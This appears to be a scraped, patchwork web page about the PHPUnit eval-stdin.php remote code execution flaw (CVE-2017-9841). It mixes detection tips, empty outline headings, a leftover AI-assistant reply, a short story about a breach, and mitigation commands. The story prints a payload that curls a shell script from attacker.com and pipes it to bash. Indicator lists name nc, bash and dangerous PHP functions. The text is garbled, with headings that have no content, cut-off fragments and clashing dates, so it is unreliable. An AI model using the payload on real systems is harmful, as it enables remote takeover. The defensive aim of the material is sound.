Vendor Phpunit Phpunit Src Util Php Eval-stdin.php Exploit May 2026
1. Check server access logs
Look for GET or POST requests to paths containing:
Sample log entry:
192.168.1.100 - - [12/May/2025:10:23:45 +0000] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 200 1234
2. Analyze POST body contents
Look for encoded or plaintext PHP functions like system, exec, passthru, shell_exec, file_put_contents, base64_decode, or eval.
3. Monitor file integrity Check for unexpected new files in:
4. Review process lists
Unexpected processes like nc, bash, sh, python -c, or perl -e spawned by the web server user.
Summary
Affected component
Risk
Technical details (concise)
Indicators of compromise
Immediate mitigation steps (prioritize)
Long-term remediation & best practices
Quick detection commands (examples)
CVE / references
Action plan (recommended)
If you want, I can:
The content regarding vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php refers to CVE-2017-9841, a critical Remote Code Execution (RCE) vulnerability in the PHPUnit testing framework. Although discovered in 2017, it remains a frequent target for automated scanners and malware like Androxgh0st because it is often accidentally left in production environments. Vulnerability Mechanism vendor phpunit phpunit src util php eval-stdin.php exploit
The flaw exists in how the eval-stdin.php script handles input. CVE-2017-9841 Detail - NVD
I understand you're asking for a story related to a specific software vulnerability. Let me write a narrative based on the historical PHPUnit eval-stdin.php RCE vulnerability (CVE-2017-9841).
Title: The Pipe That Whistled
In the summer of 2017, Maya was a security engineer for a mid-sized fintech startup. She had just finished her morning coffee when the SIEM dashboard erupted—red spikes across three staging servers.
The attack signature was bizarre: POST requests to /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php with raw PHP code in the body.
"Who keeps PHPUnit in production?" she muttered.
The logs told a story. An automated scanner had found the file two hours ago. Twelve minutes later, someone—probably the same actor—sent a payload:
<?php system('curl http://attacker.com/shell.sh | bash'); ?>
The server had obediently executed it. Because eval-stdin.php was never meant for the web. It was a utility for running PHP code through standard input during testing. But there it sat, world-readable, waiting for anyone to POST data to it. Sample log entry:
192
Maya traced the infection path. The attacker uploaded a web shell, then moved laterally through an old NFS mount. They didn't touch production—yet. But they had credentials. Database dumps. API keys for the sandbox environment.
The post-mortem revealed the real failure: a developer had run composer install --no-dev on the build server but used composer install (including dev dependencies) on the staging image. Then that image got promoted. Twice.
The fix was surgical: remove the file, revoke keys, patch the deployment pipeline. But Maya couldn't shake the feeling. A 3-line PHP file, left behind by accident, had nearly cost them everything.
She added a line to every Dockerfile after that:
RUN rm -f vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
And she never trusted a Composer require-dev package in production again.
The vulnerability (CVE-2017-9841) allowed remote code execution via eval-stdin.php in PHPUnit versions before 4.8.28 or 5.x before 5.6.3 when left in a web-accessible directory. It became a classic example of why dev dependencies should never reach production.
composer install --no-dev --optimize-autoloader
Fix your Web Root:
Ensure your Apache DocumentRoot or Nginx root points to a public/ folder far away from vendor/. left behind by accident